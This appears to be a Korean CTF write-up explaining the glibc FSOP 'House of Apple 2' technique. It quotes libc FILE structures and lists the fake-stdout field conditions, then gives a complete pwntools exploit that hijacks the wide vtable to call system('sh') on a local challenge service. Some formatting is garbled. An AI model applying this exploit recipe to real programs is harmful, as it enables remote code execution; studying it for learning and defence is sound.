FSOP_exploit glibc 2.31

HOW to exploit glic 2.31 using FSOP House of apple2

c

_IO_str_overflow (FILE *fp, int c)
{
int flush_only = c == EOF;
size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf = malloc (new_size);
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
free (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '0', new_size - old_blen); |
| _IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf); |
| fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}
}
  • 기존에 사용되었단 _IO_str_overflow 이다. 그전에는 함수 포인터를 통해 exploit이 진행되었지만 이제 사라졌다.

c

static void check_stdfiles_vtables (void) { if (_IO_2_1_stdin_.vtable != &_IO_file_jumps || _IO_2_1_stdout_.vtable != &_IO_file_jumps || _IO_2_1_stderr_.vtable != &_IO_file_jumps) IO_set_accept_foreign_vtables (&_IO_vtable_check); }
  • 또한 기존에 vtable에 _IO_str_jumps 함수를 덮었던 것과 달리 vtable 을 검증 하고 있다.

c

struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ 
 /* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */ 
 /* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */ 
struct _IO_marker *_markers; 
struct _IO_FILE *_chain; 
int _fileno;
int _flags2;
__off_t _old_offset; /* This used to be _offset but it's too small. */ 
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1]; |
_IO_lock_t *_lock;
__off64_t _offset;
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};
  • 이전의 file 과 달리 wide_data, _codecvt 라는 변수 들이 존재한다. 이것들을 통해 attack vector가 될 수 있다.

c

struct _IO_wide_data 
{
  wchar_t *_IO_read_ptr;    /* Current read pointer */
  wchar_t *_IO_read_end;    /* End of get area. */
  wchar_t *_IO_read_base;    /* Start of putback+get area. */
  wchar_t *_IO_write_base;    /* Start of put area. */
  wchar_t *_IO_write_ptr;    /* Current put pointer. */
  wchar_t *_IO_write_end;    /* End of put area. */
  wchar_t *_IO_buf_base;    /* Start of reserve area. */
  wchar_t *_IO_buf_end;        /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  wchar_t *_IO_save_base;    /* Pointer to start of non-current get area. */
  wchar_t *_IO_backup_base;    /* Pointer to first valid character of
                   backup area */
  wchar_t *_IO_save_end;    /* Pointer to end of non-current get area. */
  
  __mbstate_t _IO_state;
  __mbstate_t _IO_last_state;
  struct _IO_codecvt _codecvt;
  wchar_t _shortbuf[1];
  const struct _IO_jump_t *_wide_vtable;
};

struct _IO_wfile_jumps
{
    _DUMMY_
    _DUMMY_
    _IO_file_finish
    _IO_wfile_overflow
    _IO_wfile_underflow
    _IO_wdefault_uflow
    _IO_wdefault_pbackfail
    _IO_wfile_xsputn
    sub_8B330
    _IO_wfile_seekoff
    sub_8E530
    _IO_file_setbuf
    _IO_wfile_sync
    sub_7FF10
    _IO_file_read
    _IO_file_write
    _IO_file_seek
    _IO_file_close
    _IO_file_stat
    sub_8F4A0
    sub_8F4B0
}
  • exploit 과정에서 사용되는 _IO_wide_data 구조체이다. 여기서 vtable를 참조하여 함수를 부를 때 검증과정이 진행되지 않는다.

c

#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)`
`#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)`
`#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)`
`#define _IO_WIDE_JUMPS(THIS) `
  `_IO_CAST_FIELD_ACCESS ((THIS),` `struct` `_IO_FILE, _wide_data)->_wide_vtable

자세한 건 https://wiimdy.kr/house-of-apple-2/ 참조

c

int main(int argc, const char **argv, const char **envp)
{
	setvbuf(_bss_start, 0LL, 2, 0LL);
	printf("%pn", _bss_start);
	read(0, _bss_start, 0xE0uLL);
	puts("modify finished!");
	_exit(0);
}
  • stdout 주소를 알려주고 stdout에 0xe0만큼 입력을 받는다.
  • _exit(0) 에서 바로 syscall exit을 실행하기 때문에 fclose exploit 사용이 안된다.
  • 따라서 puts에서 실행 되는 함수를 의심한다.

puts_xsputn.png
wikilink
vtable + 0x38에 있는 함수를 불러온다.

우리가 이 함수로 덮어야 할 것은_IO_wfile_overflow 을 호출하여 exploit을 진행 해야 한다.

  1. _flags는 ~4로 설정
  2. vtable은 _IO_wfile_jumps + 0x18 - 0x38 주소로 설정
  3. _IO_read_ptr < _IO_read_end, 즉 *(fp + 8) < *(fp + 0x10) 만족
  4. _wide_data는 제어 가능한 힙 주소 A, 즉 *(fp + 0xa0) = A로 설정
  5. _wide_data->_IO_read_ptr >= _wide_data>_IO_read_end, 즉 *A >= *(A + 8)
  6. _wide_data->_IO_buf_base가 0으로 설정됨, 즉 `*(A + 0x30 ) = 0 ``
  7. _wide_data->_IO_save_base 가 0 으로 설정되거나 해제 가능한 주소, 즉 *(A + 0x40) = 0 을 만족
  8. _wide_data->_wide_vtable 이 제어 가능한 힙 주소 B 로 설정됨, 즉 *(A + 0xe0) = B
  9. _wide_data->_wide_vtable->doallocate은 RIP 하이재킹을 위해 주소 C로 설정, 즉 *(B + 0x68) = C를 만족합니다.

그럼 우리가 stdout_ex.png

빨간 네모친 공간에 system 함수를 넣는다면 C = system B = 0x7fe18300a848 - 0x68 = 0x7fe18300a7e0 즉 chain 앞 포인터이다.

OffsetFieldValueComment
0_flags`````sh0"
8_IO_read_ptr0_wide_data->_IO_write_base
32_IO_write_base0_wide_data->_IO_buf_base
160_wide_datafp - 16
200_unused2[4]system[_wide_data->_wide_vtable + 0x68]
208_unused2[12]_markers_wide_data->_wide_vtable

offset 계산을 이렇게 한다…

python

from pwn import *

context.log_level='debug'
context.arch='amd64'
r = remote('localhost', 1111)

sla = lambda a, b : r.sendlineafter(a,b)
sa = lambda a, b : r.sendafter(a,b)
slog = lambda s, h : success(': '.join([s,hex(h)]))

libc = int(r.recvline()[:-1], 16) - 0x21a780
system = libc + 0x50d60
vtable = libc + 0x2160c0 +0x18 - 0x38
wdata = libc + 0x21a770
wddata_vtable = libc + 0x21a7f8

fake = b'``````sh' # flag
fake += p64(0) # _IO_read_ptr
fake += p64(0) # _IO_read_end
fake += p64(0) # _IO_read_base
fake += p64(0) # _IO_write_base
fake += p64(0) # _IO_write_ptr
fake += p64(0) # _IO_write_end
fake += p64(0) # _IO_buf_base
fake += p64(0) # _IO_buf_end
fake += p64(0) # _IO_save_base
fake += p64(0) # _IO_backup_base
fake += p64(0) # _IO_save_end
fake += p64(0) # _markers
fake += p64(libc + 0x219aa0) # _chain
fake += p64(0) # ?
fake += p64(0) # offset
fake += p64(0) # ??
fake += p64(libc + 0x21ba70) # _lock
fake += p64(0) # offset
fake += p64(0) # ??
fake += p64(wdata) # *_wide_data;
fake += p64(0)*4
fake += p64(system)
fake += p64(libc + 0x21a7e0)
fake += p64(vtable)

r.send((fake))

r.interactive()

Related Content